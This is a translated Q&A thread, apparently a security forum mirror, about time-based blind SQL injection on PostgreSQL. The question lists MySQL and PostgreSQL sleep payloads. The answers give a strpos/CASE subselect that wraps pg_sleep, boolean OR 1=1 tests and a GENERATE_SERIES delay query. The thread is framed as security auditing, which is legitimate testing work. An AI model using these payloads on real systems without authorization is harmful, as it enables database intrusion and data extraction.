web-dev-qa-db-ja.com

WHERE句でpg_sleep()を使用してPostgresブラインドSQLインジェクションをテストすることは可能ですか?

Mysqlでは、WHERE句が脆弱である場合に以下のペイロードを使用してblindsqlをテストすることに慣れています( fuzzdbからのすべてのペイロードの例 ):
_1 or sleep(TIME)#
" or sleep(TIME)#
' or sleep(TIME)#
_

Postgresでは、私の最初の本能は以下を試すことでした:
_1 or pg_sleep(TIME)--
" or pg_sleep(TIME)--
' or pg_sleep(TIME)--
_

残念ながら、pg_sleep()はVOIDを返し、ブール式では許可されていないため、postgresペイロードは機能しません。

次の回避策を試しました。

  1. Pg_sleep()を他のデータ型にキャストする(void-> bool型変換は許可されません)
  2. 独自のpg_sleep()関数を作成することを検討しましたが、これは私が監査するブラックボックス環境では機能しません。
    例:CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

何か案は?

Voidを返さないpg_sleep()の代わりに使用できる他の関数のドキュメントを調べてみましたが、うまくいきませんでした。

6
octagonC

まず、簡単なアプローチを試してください。これは本当に完全にブラインド注射しかできない状況ですか? WHERE部分のSQLインジェクションの脆弱性の場合、アプリケーションが少なくとも1つの行を取得したか、まったく取得しなかったかによって、アプリケーションの反応が異なることがはるかに一般的です。そして、インジェクションはAND 1=0を介して空の結果セットを強制するか、OR 1=1を介して空でない結果セットを強制する可能性があります

目に見えるデータにデータが使用されていない、または空/空でないセットを強制できないためにこのアプローチが失敗する場合は、ブラインドインジェクションテクニックを探す時がきました。

SELECT句をWHERE部分に含めるには副選択またはstrposのような関数を使用できます。

strpos(
    (SELECT CASE WHEN 1=1 
            THEN pg_sleep(10)
            ELSE pg_sleep(0) END
    )::text, '1'
) > 0;

高度なPostgreSQL SQLインジェクションとフィルターバイパステクニック に関する興味深い論文があります。

4

もあります:

SELECT COUNT(*) FROM GENERATE_SERIES(1,5000000)

マニュアルページ: http://www.postgresql.org/docs/8.1/static/functions-srf.html

2
stamparm